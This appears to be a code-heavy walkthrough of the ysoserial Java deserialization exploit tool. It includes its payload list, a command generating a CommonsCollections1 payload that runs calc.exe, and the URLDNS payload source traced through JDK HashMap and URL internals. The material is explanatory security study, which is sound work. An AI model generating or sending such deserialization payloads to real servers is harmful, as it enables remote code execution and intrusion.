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Usage: java -jar ysoserial.jar [payload] '[command]'
  Available payload types:
     Payload             Authors                     Dependencies
     -------             -------                     ------------
     AspectJWeaver       @Jang                       aspectjweaver:1.9.2, commons-collections:3.2.2
     BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5
     C3P0                @mbechler                   c3p0:0.9.5.2, mchange-commons-java:0.2.11
     Click1              @artsploit                  click-nodeps:2.3.0, javax.servlet-api:3.1.0
     Clojure             @JackOfMostTrades           clojure:1.8.0
     CommonsBeanutils1   @frohoff                    commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     CommonsCollections1 @frohoff                    commons-collections:3.1
     CommonsCollections2 @frohoff                    commons-collections4:4.0
     CommonsCollections3 @frohoff                    commons-collections:3.1
     CommonsCollections4 @frohoff                    commons-collections4:4.0
     CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
     CommonsCollections6 @matthias_kaiser            commons-collections:3.1
     CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
     FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4
     Groovy1             @frohoff                    groovy:2.3.9
     Hibernate1          @mbechler
     Hibernate2          @mbechler
     JBossInterceptors1  @matthias_kaiser            javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     JRMPClient          @mbechler
     JRMPListener        @mbechler
     JSON1               @mbechler                   json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1      @matthias_kaiser            javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     Jdk7u21             @frohoff
     Jython1             @pwntester, @cschneider4711 jython-standalone:2.5.2
     MozillaRhino1       @matthias_kaiser            js:1.7R2
     MozillaRhino2       @_tint0                     js:1.7R2
     Myfaces1            @mbechler
     Myfaces2            @mbechler
     ROME                @mbechler                   rome:1.0
     Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
     Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
     URLDNS              @gebl
     Vaadin1             @kai_ullrich                vaadin-server:7.7.14, vaadin-shared:7.7.14
     Wicket1             @jacob-baines               wicket-util:6.23.0, slf4j-api:1.6.4

1

java -jar ysoserial.jar CommonsCollections1 calc.exe > payload

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public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        /**
         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
         * using the serialized object.</p>
         *
         * <b>Potential false negative:</b>
         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.</p>
         */
        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

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 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

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private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

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    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

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public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

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protected int hashCode(URL u) {
    int h = 0;

    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();

    // Generate the host part.
    InetAddress addr = getHostAddress(u);
    if (addr != null) {
        h += addr.hashCode();
    } else {
        String host = u.getHost();
        if (host != null)
            h += host.toLowerCase().hashCode();
    }

    // Generate the file part.
    String file = u.getFile();
    if (file != null)
        h += file.hashCode();

    // Generate the port part.
    if (u.getPort() == -1)
        h += getDefaultPort();
    else
        h += u.getPort();

    // Generate the ref part.
    String ref = u.getRef();
    if (ref != null)
        h += ref.hashCode();

    return h;
}

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protected synchronized InetAddress getHostAddress(URL u) {
        if (u.hostAddress != null)
            return u.hostAddress;

        String host = u.getHost();
        if (host == null || host.equals("")) {
            return null;
        } else {
            try {
                u.hostAddress = InetAddress.getByName(host);
            } catch (UnknownHostException ex) {
                return null;
            } catch (SecurityException se) {
                return null;
            }
        }
        return u.hostAddress;
    }

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URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url);

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public V put(K key, V value) {
		return putVal(hash(key), key, value, false, true);
}

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import org.junit.Test;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class demo {

    @Test
    public void test() throws IOException, ClassNotFoundException {
        ObjectInputStream o = new ObjectInputStream(new FileInputStream("xxx/payload.out"));
        o.readObject();
    }
}